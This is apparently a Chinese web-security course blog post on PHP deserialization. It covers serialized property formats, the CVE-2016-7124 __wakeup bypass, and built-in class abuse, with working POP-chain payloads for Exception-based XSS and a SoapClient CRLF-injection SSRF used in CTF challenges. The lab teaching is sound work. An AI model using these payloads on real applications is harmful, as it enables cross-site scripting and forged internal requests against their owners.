当前位置: 首页 > news >正文

Day61:WEB攻防-PHP反序列化原生类TIPSCVE绕过漏洞属性类型特征

知识点:

1、PHP-反序列化-属性类型&显示特征

2、PHP-反序列化-CVE绕过&字符串逃逸

3、PHP-反序列化-原生类生成&利用&配合

补充:如果在 PHP 类中没有实现某个魔术方法,那么该魔术方法在相应的情况下不会被自动触发。PHP 的魔术方法需要在类中显式地定义和实现,否则默认情况下不会被调用。当 PHP 在特定情况下需要调用某个魔术方法时(比如创建对象、访问属性、调用方法等),它会检查类是否实现了相应的魔术方法。如果类中没有定义该魔术方法,PHP 将不会触发该方法的自动调用。

PHP-属性类型-共有&私有&保护

1、对象变量属性:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
2、序列化数据显示:
public属性序列化的时候格式是正常成员名
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名

本地演示序列化数据显示

demo.php

<?php
header("Content-type: text/html; charset=utf-8");
//public private protected说明
class test{public $name="xiaodi";private $age="29";protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
var_dump(unserialize($a));

protect 修饰的属性

父类自己访问受保护属性:类内设置接口,类外创建对象访问接口从而访问属性

class ParentClass {protected $protectedProperty = "Protected Property";public function getProtectedProperty() {return $this->protectedProperty;}
}$parentObj = new ParentClass();
echo $parentObj->getProtectedProperty(); // 输出: Protected Property

子类访问父类的受保护属性:子类内设置接口,类外子类创建对象访问接口从而访问属性

class ParentClass {protected $protectedProperty = "Protected Property";
}class ChildClass extends ParentClass {public function getProtectedPropertyFromParent() {return $this->protectedProperty;}
}$childObj = new ChildClass();
echo $childObj->getProtectedPropertyFromParent(); // 输出: Protected Property

类外访问父类的受保护属性

class ParentClass {protected $protectedProperty = "Protected Property";
}$parentObj = new ParentClass();
// 尝试直接访问父类的受保护属性
echo $parentObj->protectedProperty; // 报错: Fatal error: Uncaught Error: Cannot access protected property

类内访问就是在类内的方法访问,类外访问就是创建对象调用属性的方式

private 修饰的属性

父类访问自己的私有属性:类内设置接口,类外创建对象访问接口从而访问属性

class ParentClass {private $privateProperty = "Private Property";public function getPrivateProperty() {return $this->privateProperty;}
}$parentObj = new ParentClass();
echo $parentObj->getPrivateProperty(); // 输出: Private Property

子类无法直接访问父类的私有属性:子类内设置接口,类外子类创建对象也不能访问接口从而访问属性

class ParentClass {private $privateProperty = "Private Property";
}class ChildClass extends ParentClass {public function getPrivatePropertyFromParent() {// 尝试访问父类的私有属性return $this->privateProperty; // 报错: Fatal error: Uncaught Error: Cannot access private property}
}$childObj = new ChildClass();
echo $childObj->getPrivatePropertyFromParent();

类外无法直接访问父类的私有属性

class ParentClass {private $privateProperty = "Private Property";
}$parentObj = new ParentClass();
// 尝试直接访问父类的私有属性
echo $parentObj->privateProperty; // 报错: Fatal error: Uncaught Error: Cannot access private property

protect 修饰的方法

父类自己访问受保护方法:类内设置接口,类外创建对象访问接口从而访问方法

class ParentClass {protected function protectedMethod() {return "Protected Method";}public function callProtectedMethod() {return $this->protectedMethod();}
}$parentObj = new ParentClass();
echo $parentObj->callProtectedMethod(); // 输出: Protected Method

子类访问父类的受保护方法:子类内设置接口,类外子类创建对象访问接口从而访问方法

class ParentClass {protected function protectedMethod() {return "Protected Method";}
}class ChildClass extends ParentClass {public function callProtectedMethodFromParent() {return $this->protectedMethod();}
}$childObj = new ChildClass();
echo $childObj->callProtectedMethodFromParent(); // 输出: Protected Method

类外无法直接访问父类的受保护方法:

class ParentClass {protected function protectedMethod() {return "Protected Method";}
}$parentObj = new ParentClass();
// 尝试直接调用父类的受保护方法
echo $parentObj->protectedMethod(); // 报错: Fatal error: Uncaught Error: Call to protected method

private 修饰的方法

 父类访问自己的私有方法:类内设置接口,类外创建对象访问接口调用方法

class ParentClass {private function privateMethod() {return "Private Method";}public function callPrivateMethod() {return $this->privateMethod();}
}$parentObj = new ParentClass();
echo $parentObj->callPrivateMethod(); // 输出: Private Method

子类无法直接访问父类的私有方法

class ParentClass {private function privateMethod() {return "Private Method";}
}class ChildClass extends ParentClass {public function callPrivateMethodFromParent() {// 尝试访问父类的私有方法return $this->privateMethod(); // 报错: Fatal error: Uncaught Error: Call to private method}
}$childObj = new ChildClass();
echo $childObj->callPrivateMethodFromParent();

类外无法直接访问父类的私有方法

class ParentClass {private function privateMethod() {return "Private Method";}
}$parentObj = new ParentClass();
// 尝试直接调用父类的私有方法
echo $parentObj->privateMethod(); // 报错: Fatal error: Uncaught Error: Call to private method

总结

概念约定:

  • 什么是类内访问:通过类内的方法访问属性/方法。
  • 什么是类外访问:类外创建对象,直接访问属性/方法

protect 访问权限:只有子类,父类自己可以类内访问到,类外不行

  • protect 修饰的属性:类内设置访问属性的接口(public),类外的子类,本类创建对象调用接口从而访问属性
  • protect 修饰的方法:类内设置访问属性的接口(public),类外的子类,本类创建对象调用接口从而调用方法

private 访问权限:只有父类自己可以类内访问,类外不行

  • private 修饰的属性:类内设置接口,只有本类自己可以通过创建对象访问类内接口从而访问私有属性
  • private 修饰的方法:类内设置接口,只有本类自己可以通过创建对象访问类内接口从而访问类内私有方法

PHP-绕过漏洞-CVE&字符串逃逸

CVE-2016-7124(__wakeup:unserialize()时会被自动调用)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行

CVE-2016-7124-本地Demo

__wakeup():会在反序列化后调用

代码如下:

<?php//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{public $sex;public $name;public $age;public function __construct($name, $age, $sex){echo "__construct被调用!<br>";}public function __wakeup(){echo "__wakeup()被调用<br>";}public function __destruct(){echo "__destruct()被调用<br>";}}
$t = new Test('xiaodi','31','gay');
echo serialize($t),"<br>";
unserialize($_GET['x']);
?>

  • __construct:Test类创建对象调用
  • __wakeup:反序列化数据调用
  • __destruct:销毁对象
  • __destruct:销毁对象

绕过__wakeup():修改属性数量即可

说明:

  • 反序列化没用调用__construct()
  • 属性数错误就会绕过__wakeup()调用
  • 只有一个__destruct()函数,说明没有对象创建成功

再做个实验:PHP属性变为私有,生成序列化数据,在用共有属性的类反序列化它

<?php//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{public $sex;public $name;public $age;public function __construct($name, $age, $sex){echo "__construct被调用!<br>";}public function __wakeup(){echo "__wakeup()被调用<br>";}public function __destruct(){echo "__destruct()被调用<br>";}}$s = unserialize($_GET['x']);
echo $s;
?>

类私有属性:O:4:"Test":3:{s:9:"Testsex";N;s:10:"Testname";N;s:9:"Testage";N;}

类共有属性:O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}

用私有属性数据反序列化共有属性类

用共有属性数据反序列化私有属性类,权限可以由大到小

[极客大挑战 2019]PHP

下载源码分析

反序列化触发调用__wakeup 强制username值

利用语言漏洞绕过 CVE-2016-7124,修改满足漏洞条件触发

POP:

<?phpclass Name
{private $username = 'admin';private $password = '100';
}$n = serialize(new name());
echo $n,"\n";
echo urlencode($n);?>

字符串逃逸

字符变多-str1.php str1-pop.php
字符变少-str2.php str2-pop.php

PHP-原生类Tips-获取&利用&配合

参考案例:https://www.anquanke.com/post/id/264823

原生类(Native class)是指在编程语言的核心库或标准库中提供的类,这些类是语言本身提供的,而不是由用户自定义的类。原生类通常包含语言内置的功能和特性,用于解决常见的编程任务和操作。

PHP原生类使用场景:在代码中没有看到魔术方法的情况下使用的

生成原生类脚本代码:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {$methods = get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array('__destruct','__toString','__wakeup','__call','__callStatic','__get','__set','__isset','__unset','__invoke','__set_state'))) {print $class . '::' . $method . "\n";}}
} 

注:如果对方环境没有开启相关模块功能,那么是没用的。

本地Demo-XSS

测试代码:

<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>

思路:

1.先看能触发的魔术方法-echo能够触发__toString方法
2.代码中没写魔术方法调用逻辑,那就需要用到原生类
3.使用魔术方法的原生类去利用
4.获取魔术方法的原生类(使用脚本去生成,生成多少与当前环境模块开关有关
默认的原生类生成脚本有太多原生类和方法了,这里只保留__toString方法,生成其有的原生类)

无代码通过原生类Exception,Exception使用查询编写利用

通过访问触发输出产生XSS漏洞,POP链:

<?php
$a=new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>

CTFSHOW-Web259

在首页及flag.php都没看到有魔术方法

调用不存在的方法触发__call(因为getflag方法是不存在的,所以调用该魔术方法)

无代码通过原生类SoapClient(只生成_call方法的原生类)

SoapClient使用查询编写利用

构造pop链

<?php$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-    urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));echo urlencode(serialize($client));
?>

 

通过访问本地Flag.php获取Flag

相关文章:

Day61:WEB攻防-PHP反序列化原生类TIPSCVE绕过漏洞属性类型特征

知识点&#xff1a; 1、PHP-反序列化-属性类型&显示特征 2、PHP-反序列化-CVE绕过&字符串逃逸 3、PHP-反序列化-原生类生成&利用&配合 补充&#xff1a;如果在 PHP 类中没有实现某个魔术方法&#xff0c;那么该魔术方法在相应的情况下不会被自动触发。PHP 的魔…...

【开源】SpringBoot框架开发不良邮件过滤系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 系统用户模块2.2 收件箱模块2.3 发件箱模块2.4 垃圾箱模块2.5 回收站模块2.6 邮箱过滤设置模块 三、实体类设计3.1 系统用户3.2 邮件3.3 其他实体 四、系统展示五、核心代码5.1 查询收件箱档案5.2 查询回收站档案5.3 新…...

详细教---用Django封装写好的模型

本次我们要用自己写好的热销词条爬虫代码来演示如何用Django把我们写好的模型封装。 第一步&#xff1a;代码准备 热搜词条搜集代码&#xff1a; import requests from lxml import etreeurl "https://tophub.today/n/KqndgxeLl9" headers{User-Agent: Mozilla/5.…...

设计模式 抽象工厂

01.人类接口 public interface Human { //首先定义什么是人类//人是愉快的&#xff0c;会笑的&#xff0c;本来是想用smile表示&#xff0c;想了一下laugh更合适&#xff0c;好长时间没有大笑了&#xff1b; public void laugh(); //人类还会哭&#xff0c;代表痛苦 public v…...

OPTIONS请求(跨域预检查)

目录 一、什么是OPTIONS请求&#xff1f;二、简单请求、复杂请求三、特定的请求头、响应头 一、什么是OPTIONS请求&#xff1f; OPTIONS 请求方式是 HTTP 协议中的一种&#xff0c;主要用于 从响应头中获取服务器支持的HTTP请求方式。 OPTIONS 请求方式是 浏览级行为&#xf…...

游戏反云手机检测方案

游戏风险环境&#xff0c;是指独立于原有设备或破坏设备原有系统的环境。常见的游戏风险环境有&#xff1a;云手机、虚拟机、虚拟框架、iOS越狱、安卓设备root等。 这类风险环境可以为游戏外挂、破解提供所需的高级别设备权限&#xff0c;当游戏处于这些风险环境下&#xff0c…...

HarmonyOS NEXT应用开发之动态路由

介绍 本示例将介绍如何使用动态路由跳转到模块中的页面&#xff0c;以及如何使用动态import的方式加载模块 使用说明 通过动态import的方式&#xff0c;在需要进入页面时加载对应的模块。配置动态路由&#xff0c;通过WrapBuilder接口&#xff0c;动态创建页面并跳转。动态i…...

wayland(xdg_wm_base) + egl + opengles 使用 Assimp 加载带光照信息的材质文件Mtl 实现光照贴图的最简实例(十七)

文章目录 前言一、3d 立方体 model 属性相关文件1. cube1.obj2. cube1.Mtl3. 纹理图片 cordeBouee4.jpg二、实现光照贴图的效果1. 依赖库和头文件1.1 assimp1.2 stb_image.h2. egl_wayland_obj_cube1.cpp3. Matrix.h 和 Matrix.cpp4. xdg-shell-client-protocol.h 和 xdg-shell…...

【NLP笔记】Transformer

文章目录 基本架构EmbeddingEncoderself-attentionMulti-Attention残差连接LayerNorm DecoderMask&Cross Attention线性层&softmax损失函数 论文链接&#xff1a; Attention Is All You Need 参考文章&#xff1a; 【NLP】《Attention Is All You Need》的阅读笔记 一…...

【Unity】程序创建Mesh(二)MeshRenderer、光照、Probes探针、UV信息、法线信息

文章目录 接上文MeshRenderer&#xff08;网格渲染器&#xff09;Materials&#xff08;材质&#xff09;Material和Mesh对应Lighting光照Lightmapping材质中的光照 光源类型阴影全局光照Probes&#xff08;探针&#xff09;Ray Tracing&#xff08;光线追踪&#xff09;Additi…...

每日一练:LeeCode-167. 两数之和 II - 输入有序数组【双指针】

给你一个下标从 1 开始的整数数组 numbers &#xff0c;该数组已按 非递减顺序排列 &#xff0c;请你从数组中找出满足相加之和等于目标数 target 的两个数。如果设这两个数分别是 numbers[index1] 和 numbers[index2] &#xff0c;则 1 < index1 < index2 < numbers.…...

性能优化(CPU优化技术)-NEON指令详解

原文来自ARM SIMD 指令集&#xff1a;NEON 简介 &#x1f3ac;个人简介&#xff1a;一个全栈工程师的升级之路&#xff01; &#x1f4cb;个人专栏&#xff1a;高性能&#xff08;HPC&#xff09;开发基础教程 &#x1f380;CSDN主页 发狂的小花 &#x1f304;人生秘诀&#xf…...

服务器硬件基础知识和云服务器的选购技巧

概述 服务器硬件基础知识涵盖了构成服务器的关键硬件组件和技术&#xff0c;这些组件和技术对于服务器的性能、稳定性和可用性起着至关重要的作用。其中包括中央处理器&#xff08;CPU&#xff09;作为服务器的计算引擎&#xff0c;内存&#xff08;RAM&#xff09;用于数据临…...

深度学习PyTorch 之 transformer-中文多分类

transformer的原理部分在前面基本已经介绍完了&#xff0c;接下来就是代码部分&#xff0c;因为transformer可以做的任务有很多&#xff0c;文本的分类、时序预测、NER、文本生成、翻译等&#xff0c;其相关代码也会有些不同&#xff0c;所以会分别进行介绍 但是对于不同的任务…...

STC 51单片机烧录程序遇到一直检测单片机的问题

准备工作 一&#xff0c;需要一个USB-TTL的下载器 &#xff0c;并安装好对应的驱动程序 二、对应的下载软件&#xff0c;stc软件需要官方的软件&#xff08;最好是最新的&#xff0c;个人遇到旧的下载软件出现问题&#xff09; 几种出现一直检测的原因 下载软件图标&#xf…...

后端系统开发之——接口参数校验

今天难得双更&#xff0c;大家点个关注捧个场 原文地址&#xff1a;后端系统开发之——接口参数校验 - Pleasure的博客 下面是正文内容&#xff1a; 前言 在上一篇文章中提到了接口的开发&#xff0c;虽然是完成了&#xff0c;但还是缺少一些细节——传入参数的校验。 即用户…...

IDEA 配置阿里规范检测

IDEA中安装插件 配置代码风格检查规范 使用代码风格检测 在代码类中&#xff0c;右键 然后会给出一些不符合规范的修改建议&#xff1a; 保存代码时自动格式化代码 安装插件&#xff1a; 配置插件&#xff1a;...

数据仓库系列总结

一、数据仓库架构 1、数据仓库的概念 数据仓库&#xff08;Data Warehouse&#xff09;是一个面向主题的、集成的、相对稳定的、反映历史变化的数据集合&#xff0c;用于支持管理决策。 数据仓库通常包含多个来源的数据&#xff0c;这些数据按照主题进行组织和存储&#x…...

gitlab runner没有内网的访问权限应该怎么解决

如果你的GitLab Runner没有内网访问权限&#xff0c;但你需要访问内部资源&#xff08;如私有仓库或其他服务&#xff09;&#xff0c;你可以考虑以下几种方法&#xff1a; VPN 或 SSH 隧道&#xff1a; 在允许的情况下&#xff0c;通过VPN或SSH隧道连接到内部网络。这将允许Gi…...

el-tree 设置默认展开指定层级

el-tree默认关闭所有选项&#xff0c;但是有添加或者编辑删除的情况下&#xff0c;需要刷新接口&#xff0c;此时会又要关闭所有选项&#xff1b; 需求&#xff1a;在编辑时、添加、删除 需要将该内容默认展开 <el-tree :default-expanded-keys"expandedkeys":da…...

[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解

突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 ​安全措施依赖问题​ GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...

Leetcode 3577. Count the Number of Computer Unlocking Permutations

Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接&#xff1a;3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯&#xff0c;要想要能够将所有的电脑解锁&#x…...

微信小程序 - 手机震动

一、界面 <button type"primary" bindtap"shortVibrate">短震动</button> <button type"primary" bindtap"longVibrate">长震动</button> 二、js逻辑代码 注&#xff1a;文档 https://developers.weixin.qq…...

python报错No module named ‘tensorflow.keras‘

是由于不同版本的tensorflow下的keras所在的路径不同&#xff0c;结合所安装的tensorflow的目录结构修改from语句即可。 原语句&#xff1a; from tensorflow.keras.layers import Conv1D, MaxPooling1D, LSTM, Dense 修改后&#xff1a; from tensorflow.python.keras.lay…...

k8s从入门到放弃之HPA控制器

k8s从入门到放弃之HPA控制器 Kubernetes中的Horizontal Pod Autoscaler (HPA)控制器是一种用于自动扩展部署、副本集或复制控制器中Pod数量的机制。它可以根据观察到的CPU利用率&#xff08;或其他自定义指标&#xff09;来调整这些对象的规模&#xff0c;从而帮助应用程序在负…...

【Kafka】Kafka从入门到实战:构建高吞吐量分布式消息系统

Kafka从入门到实战:构建高吞吐量分布式消息系统 一、Kafka概述 Apache Kafka是一个分布式流处理平台,最初由LinkedIn开发,后成为Apache顶级项目。它被设计用于高吞吐量、低延迟的消息处理,能够处理来自多个生产者的海量数据,并将这些数据实时传递给消费者。 Kafka核心特…...

数据库正常,但后端收不到数据原因及解决

从代码和日志来看&#xff0c;后端SQL查询确实返回了数据&#xff0c;但最终user对象却为null。这表明查询结果没有正确映射到User对象上。 在前后端分离&#xff0c;并且ai辅助开发的时候&#xff0c;很容易出现前后端变量名不一致情况&#xff0c;还不报错&#xff0c;只是单…...

Python 高级应用10:在python 大型项目中 FastAPI 和 Django 的相互配合

无论是python&#xff0c;或者java 的大型项目中&#xff0c;都会涉及到 自身平台微服务之间的相互调用&#xff0c;以及和第三发平台的 接口对接&#xff0c;那在python 中是怎么实现的呢&#xff1f; 在 Python Web 开发中&#xff0c;FastAPI 和 Django 是两个重要但定位不…...

深入理解 C++ 左值右值、std::move 与函数重载中的参数传递

在 C 编程中&#xff0c;左值和右值的概念以及std::move的使用&#xff0c;常常让开发者感到困惑。特别是在函数重载场景下&#xff0c;如何合理利用这些特性来优化代码性能、确保语义正确&#xff0c;更是一个值得深入探讨的话题。 在开始之前&#xff0c;先提出几个问题&…...

WinUI3开发_使用mica效果

简介 Mica(云母)是Windows10/11上的一种现代化效果&#xff0c;是Windows10/11上所使用的Fluent Design(设计语言)里的一个效果&#xff0c;Windows10/11上所使用的Fluent Design皆旨在于打造一个人类、通用和真正感觉与 Windows 一样的设计。 WinUI3就是Windows10/11上的一个…...